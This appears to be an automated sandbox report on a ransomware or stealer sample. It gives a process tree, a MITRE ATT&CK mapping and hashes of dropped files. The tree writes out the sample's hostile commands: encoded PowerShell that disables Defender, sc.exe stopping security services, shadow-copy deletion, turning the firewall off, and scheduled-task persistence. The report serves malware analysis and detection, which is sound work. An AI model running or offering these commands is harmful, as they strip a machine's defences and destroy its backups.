C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2936
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3660
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4100
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:2536
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3584
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1808
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:4188
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:1684
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4732
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5108 -
C:\Users\Admin\AppData\Local\Temp\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:1272
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4084
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:1736
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4860
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4128
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:4548
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3500
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3776
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:5080 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2368
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:2680
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3500
-
-
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:3524
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1808 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:2368
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Windows\system32\whoami.exewhoami3⤵PID:3840
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3392 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:4148 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:4544
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:292 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:2428
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3580 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:3236
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1196
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:4672
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:4116
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:4996
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:1412 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:3164
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:612
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:856 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4860
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:4128
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:4524
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2476
-
C:\Users\Admin\AppData\Local\Temp\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:3144
-
C:\Users\Admin\AppData\Local\Temp\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:2660
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:4100
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260520_144056.jpg
- Size 128KB
- SHA256 0ca447ee6db325f12a475d7628ec9050efc25d186c0d7e870d58c416462f83e0
- MD5 170277f37044fac101bb45e2f5456e91
- SHA1 22c23253e45c454cb69a19d0bd6c41cabcf064d6
- SHA512 74b776ad0217aa32cb63ba19c8e2ff495a9f8816eddaffc5fef44727fc961d27c9505d2a43bbd9d41336387502c3b5c8763ec86792a79eb89c3a6e7f8d24108a
- SSDEEP 1536:I+NRRRRRRRRRRRYzTEwZc3B5nufd8byeOnyUYJwHDNazhIX17IdXM3yKUQAv3Ay4:SNZgDIWROyUYaDqIetM3yK8wewj
- TLSH T1B3D374138D059B83657893E8BE070FAD2F0A7F08E8963AFB40260DDB7E751564C8E56D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 67KB
- SHA256 c3eae1c752bec91cec3961c1929ec9ba6a5635e09b18e3a6003fe98373bd5ca3
- MD5 c6b974b7f6caafe834423a872fa1e15f
- SHA1 d96a916b872a165931268ae8512d7210278e65c9
- SHA512 b02111a046922f65c5f8a300d91c2df39f574caca12e1d8cc7100cd55376812349d9ca293511bede644df3a073d8a7cf14ae1810c942f14300eb8dcc15bbb69e
- SSDEEP 1536:qBUFriuiewcdn0Hii5zt7FWC8mKxTe7GDC9wcch/+PjXQQdLkeSYrxv514GX:qBU5RieUHi+xWY0e7xyccOXQQGXYrt5l
- TLSH T1A2633A368F23FCC5677E3E80E05439521C893E3B9775666CFAC50DA528E6680EF2E458
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\7e1acf29-e24e-4c37-a1b9-bc745ec97265.tmp
- Size 228KB
- SHA256 8bc80e03401588c3c2c8365eecdec80c1af25e38cb165c6dc6b85283ffa6f380
- MD5 1b8de95aa2704df027b1ea40d1665a29
- SHA1 61aa8108c7cac33e783033ffe0af93628315a712
- SHA512 028abbaadc9ae10b0a9cad28286f5cfdbcd7f6c968ef41f6839ac1c211ce569c545754f2b908b695e1bc05f780ef1002f5c4bc36eaa85050b3537182730b4e56
- SSDEEP 6144:SvMc2kMLz511jPllm7Rkm1tYpBeh2BAoo:KS9z511jlM9oBGcAoo
- TLSH T1DE342337AC666C762D247AAF418D1E6D0DF084A3C410ED2BC8D99B083E467EF191ED79
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 7c000fcabd9b18406c5e8743e90a4effd4a15cd1c96b2eaa757591ef1c42240b
- MD5 9bbeda310ee7524ac86e431ef08c3d0e
- SHA1 99318273f1134e741066ab3a52021796d6cbfa94
- SHA512 c54a9cda8b4b7120940e9418c8bf45baecf02ff95055709bc620843980b0ff4b42fe7709136af6e3fcd8c51d0e67ca3fef93f524c004c5e92c6adc687e322c7d
- TLSH T192E022BAC965DC3B2DFE0B58A0244746E70103073B81899B3A3D8208CFB1A375A91C6D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\f_000024
- Size 879KB
- SHA256 1df335e2b4d09f5569d8f6cf83d59f6c7d356190e8cf90162e6901351241f5e1
- MD5 cc22cec8f0a30cbdda8d0cb5d2a2366e
- SHA1 dca9f5595fdfc11518469ec58ad0a6bd73fe96c7
- SHA512 7af2d94e3ab56443de44dca72a27aa3e2c195ca7d754a8c3bdfc7649d09ae46ce78b6328c6e9901fcd9c33909d7f53f9e02babfa80f0b2b154fab0a91a1e94aa
- SSDEEP 24576:+hFPdMk8bGPfGRUV6aiS+PLfj8PE9nqGGx+WM:MMkxDN+PL0E0GGxk
- TLSH T1E31523589AF25F834D8EF4D592800877F79131D9D371858268FFEB19788638A62F284F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 480B
- SHA256 f627c4f1cfd29f74dc9781cf9a36c5f51aa57e0e119feb60cf942f9b7cef15bb
- MD5 3637fafd789ad3c93ad40f0da9907097
- SHA1 f0902caf25a0e5b8b8a06f4524859c359debee94
- SHA512 28e57d39f9b16dab7443c5aef123bbd79c5f6eca49b3c47bcd861630bf845f9e4c8238fbdc70bd9a97c7c821a3f8cfebec1924a65e08564a2b5e69df11b0a6e1
- TLSH T1D2F09A275FC8B864CF400A3869690C8DA0E08DF9E0818B07044A91769D33FF8A3CB6A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 7KB
- SHA256 b0c6b3043097b75b4da1c0b3075e1e6ab3879aa08f12f3d3c34c4b48eba57f29
- MD5 ae0e2ec8c36bd3adf348db7829c2d428
- SHA1 15cf30ed09892836289df4c7a49b9091e667b205
- SHA512 afea54cc2d407f1eaee7d0a4c96bb0a6a5278b1362e95092879ae6647e3ff6e32fc5fef62101d455c40d856ef11fecb95df9ee3b0f71f632986996efe13b55f2
- SSDEEP 192:DCW3invVKrKaY1HP7A4uySZhFlJXm5aa1nMU8nMEj29/:DCW3invVKrKaY1HP7A4uySZhFldm5aap
- TLSH T1C5F128F7C2E88A6DC91165F4AA15AF2ACE6D0D1D532C3C1AC9E4DF4F93E2872D21054E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\fe6318d5-a934-46b0-9c10-3d6318080d8f.tmp
- Size 2KB
- SHA256 cf6f56632d8baec0116c3c0211693978311588cfad0c079c814544c9a3444858
- MD5 ed9d8f7313a12adef8efb278af05957b
- SHA1 9b6e5766a5305423bb71a30d5cf190a4732e2c75
- SHA512 18bc739e63e7f67672832d31dec76cecd6ca59b659028608fbcb69b3682dd1b00c9c5b0eb2750c1b8e37efa3f1ed810fb41d10258724de4ab7a2b9e9b55e41a7
- TLSH T1274167F7C7E88A7D890092F8A7196E1FCE6D0E14536C3C56C8D4AE1B53E2971D20158E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 2b5cc4da4744d244a6bc3029f896f8cfc56cd114f3169b337d8cf6dbaa1768e6
- MD5 60c0e55381ffab8ec065df89962dc1c7
- SHA1 a58d7a0774e587a600999e9f9f252876f9b34e1b
- SHA512 1bcc7ac48d6d768e5da89e48ce40493e5b60a4054d6bb1649743ea49280792158175903c7cc8ff761a571a198c04ccb4c319216a8b66493f4ded28802191fe40
- SSDEEP 192:qR5BPb6jtv7lpAPRp24lc9+HMKb+WNniIgFK2p8eHJVyIsnAUgtaJ:qR5BoNRUXG0RZ92Hv8
- TLSH T19842E67FED14A57B6CDBC21AFA257753E3F5102161902E84EAFC8A2C14D7ADC220B41B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 23efb9e819c794c52a002f6aa28d8deff4a57b48ad32b2e95a672d0052b00cd7
- MD5 b2f0b275fe4ee70366af0f86bc80ada9
- SHA1 f7d0033d849a55fc34062691c62edc7858bebc07
- SHA512 40d404bea4cb0ac4fd8724d43a4a051ac1764b0988d50448fbfe9ee995cc756da3b4fd86af5718eda0d00aea5ce9617d2d5275d4c7594b212115052cf86c0c2b
- SSDEEP 384:RXjVs7KxkXqKf/pUZNCgVLH2Hfgsl++M9r7pLuLcMzOXODV0+ErU3O3MDTHGRjHj:RzVs7KxkXqKf/pUZNCgVLH2Hfgs8+M9h
- TLSH T1457208A76C488E7B0F94C5CCD8267A4FADB5025B65D9C86482FA582903D5BCB110A1FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\f17104ffee5f5efe8e5026b7e39137c5fb96a55b\index.txt
- Size 141B
- SHA256 3843f264359cc2360cc7d33c7a520dc072b4b1281c000e61a96be0053a51822d
- MD5 49d39aa55799f416f88d230875bcf4e9
- SHA1 32ce41359f4a634835f2addb7957b07cc7fcc22d
- SHA512 9e8c7776327e6f12e6962239d220744cb8ddfd10d64acc02a46d15ff1b603db21ba21def7e700b1ac8e103c0c87295b476a2480ad7aa2df5acb2efa0e5e4a6db
- TLSH T134C02B4F51318007FF66CDC10451302B8312C09C4FECCCA84270D427CC0741000C5A57
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\f17104ffee5f5efe8e5026b7e39137c5fb96a55b\index.txt~RFe58d898.TMP
- Size 148B
- SHA256 16179d5cdc69daf2061ed2bc183dcf35a7f3c80a4408e2dff5229b537abfbb34
- MD5 7d9f6d241b80a97536fb67e640f4a886
- SHA1 fde4e7d5e60976ffe0dd5dceef7424476b0e9898
- SHA512 3ed1f20191578e5ab95e3e25a0532e59c110ec10451a5ea37e81f9d36af09d19dfe4c2c6cf23c4a22b6243de459e5ea306bd0252ae0bc0c781af7a64933c8be2
- TLSH T12FC02B4F51314007FF628CC20421745B4322CC9C4FD8CCA84371F127D83701141C8A67
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 144B
- SHA256 d74591d51390244c685a611641b9863ccabadd6272d281f6911326817fd8a257
- MD5 61b810d4b19439cbf74be5c6d82a0abd
- SHA1 2f8e2ff7d56abb6039b2517b56896f0db715e93b
- SHA512 823c6c95c324d8c63c458bdc65cc7344ec618ecd09a5a599e3d8edca2e71cd51e88e3b18b8fa3bd2e8c6987036e572ae925bdbd4203210bb1b628e7ef8d8aed9
- TLSH T105C0121BC401A211C11B03F41087A4DCB2B89F34EF6A234D42E11D7FAC361328025196
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58db86.TMP
- Size 96B
- SHA256 44c1768978f1d6f2637ca395da4e037255b056f90080766af7f3a06da7384ad3
- MD5 418774ce76b7262522f58d56b28e1da0
- SHA1 6d4403ec60af2fb224404872c170e04a78d69398
- SHA512 f172111a88d355776590fd5be5497e9dea8ee46efe37125f215af4dc468a49461cfa78960715860a2c70ee010ccceb3d22d1ac596ca6191d9210412db4856d63
- TLSH T10DB00259C2136333D04E07B0269AD6DC7260DF75CB435317D3F01A67EC65672453A260
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 753ea7c2d3bf500a0968d74d850e104e9905f7d4ba3f314566f2b3f1709158e2
- MD5 ba2a41f84ce0c8b94a12dbae69993a20
- SHA1 ec66620160e2c13484e8bd1eefe274f61140adf1
- SHA512 1573259cea77d778fec53a081b55b8b501f84ee361fd91cd56f5cbd918b6fc86d520b1a9b44034b7ee7a51cf54b024b946128fd53ed9e3c31f33ec4f794885ec
- SSDEEP 192:tB+XuvBnl3JsueMEGvIW1/rcP2OLZTpX6OqUVumeBwkuc8:jeuvBnhJsueMEGvIW1DcP2OXjVumMnu5
- TLSH T12DD3884B3A743002EDE68A721CE051BB5E3CB16D8F51D5D428B620688EF2953A23D4FF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 116KB
- SHA256 0ee811c505c1290e603993a7c61b88a4b867710f3e2ccd72c576a9c37bbb740b
- MD5 db9bd1fe953464cfeb3d5339a590d09b
- SHA1 147831eba0ce2ac395b40401849f1b62bfc7f39d
- SHA512 b60bec16ed2dc3edabdb0dcd508a178dfa84fa6f10b013f93d618b1b8979f7b58c09d1f66395a211cd31283929ceb7c891116cb6d7cfd4dacd1fb824ae7c97ff
- SSDEEP 3072:mGm7D5Lk17ox1tIpud63U8BehbCBi9fTrML:Rm7Rkm1tYpBeh2BAoL
- TLSH T1BBC302375D74E9376DB9B75EB08E0B1F1EF149A3D920DE92C8D85B0423EA6CD0A05A34
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 227KB
- SHA256 1b1b66f0cf135243a4c0f04f7ec53b2ec907502345b1f0686a55acf5b4d899ea
- MD5 4c846dd550e7fc098e100290418199c1
- SHA1 99518278ed8688d33f66bae61df7663e5e637e1c
- SHA512 34ee4cd412f00ddb248d2bc3bf8e29a58d21442c24ebfff70a19626411334e154936a05388129fbc6407ef3e7623c9688718469cbd36ed2ea78d084d10a96503
- SSDEEP 3072:0zUJbtsIcTCj4MrX3D+S11jImJ1tSGm7D5Lk17ox1tIpud63U8BehbCBi9fTrMo:0Mc2kMLz511jPllm7Rkm1tYpBeh2BAoo
- TLSH T1EB3423379C66AC362914BA7F518D1A6D1AF084A3C010ED27C8DD8B087F567EF1A1ED39
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 115KB
- SHA256 99df74325ef94cc4311636ba8cec2abc8c025de9665709fc2ef1617a68e231e7
- MD5 c4acb8e02a6d896a791a4d18f155f092
- SHA1 0c081c69b70e550d8027a36c5b4171a79482f637
- SHA512 9d960ab34182ad20e6e80298951ba290fd0c6da4dcdba6f7e87970bdee628261b38f8367173d9345d66e72a7c076bec9fedc11c6521df0ad9ac3aef586c13dee
- SSDEEP 3072:4Gm7D5Lk17ox1tIpud63U8BehbCBi9fTrMa:zm7Rkm1tYpBeh2BAoa
- TLSH T1A0C312275E71A9775979BB4EB08E0B1F1EF149A3D920DE82C8D85B0437FA7CD0A05934
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-16_599b12b9d57df9cc2e3afe3bb5b1705f_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
- MD5 284393596fdd49bebd7b861bf339b82d
- SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
- SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
- TLSH T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cobkxksy.nph.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 7ba30c40e6bbed4a1814b7cc1572897c79dbcc75735bb5b1f297021a27c415b1
- MD5 7c4975e2d3c5dfc2950d4093035c6804
- SHA1 57dc1c7c7374d67eb644aa61a5ff5e45c0c55709
- SHA512 de5abb75ac2843c4923d4a42f51cf33b54a0e9fe66d1bff7ed270ff5fc948892af318c46bd79143c72068c3a76edc3cf815b816a70fd9e0db4dfbd1c920d72da
- TLSH T12CE07D4B614CC55900151137C1B3CD4CD4A059286B177E6057A0CD5D36D08C645F1483
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 71be80e67134a554706b2a998652b13bbf59a2ba300c0f83480a31ddb757103f
- MD5 1417cab883593f68fcf8b78d4fc42c25
- SHA1 b83b4107327116c64987d3f8040ded9480a0f516
- SHA512 6b51d54c3247038c20b8202c8699e05ba561f72d136055679c50bbcd050443f9977e9d2e00a2b0f14258fe1023726568df883294f90d7467f8a1b2b0ba11e8a6
- TLSH T10EE07D8B614CC55900151137C1B3CD4CD5E159286B277E20A760CD1D36C08C645F1483
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 173KB
- SHA256 1fe45aac30820945069407e493ff7b813496469446c5b32e70f6f05a097b1fac
- MD5 64e0cb6f344052eeb26934feb2eb5535
- SHA1 4cc7720e3ac05d98b3161f1c52824eec0f9999fc
- SHA512 2a7aaa99031b794d011881bf1d86c7f56f90bf95a7296248f52c9e93397c59165e94e65859b77d8f907c426639aead6e55de7da21796af947258fef50e67147b
- SSDEEP 3072:8ryyxDnOBdDiTPh7fgFicc7jQ4SMumhXnbP2M80NY:4xDnO/DYKwcc3jnpnbhU
- TLSH T17E04DB04C6F79E2B45961AEB181237D0A538B7B083ECD1FB20E6AE63F077DA6D21D505
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 174KB
- SHA256 7d6bdcbaa9aab141eb3d442e197571d2d20af4c32563d77285ce00ac18f5b5bd
- MD5 a87b0a2af253c811a3b627be61d98333
- SHA1 27bfe5e0b212dec6648d5c5a4d5efcbb5d2f0b49
- SHA512 154eca3b0def5e6b7deed76da5c11a928c3fbc2a6f2f7387f14f9e6ee9c371aef7cfe433bef09bfd2bd5765051e31f533a3b4dad08e5cd273aa3ba2ae352b9be
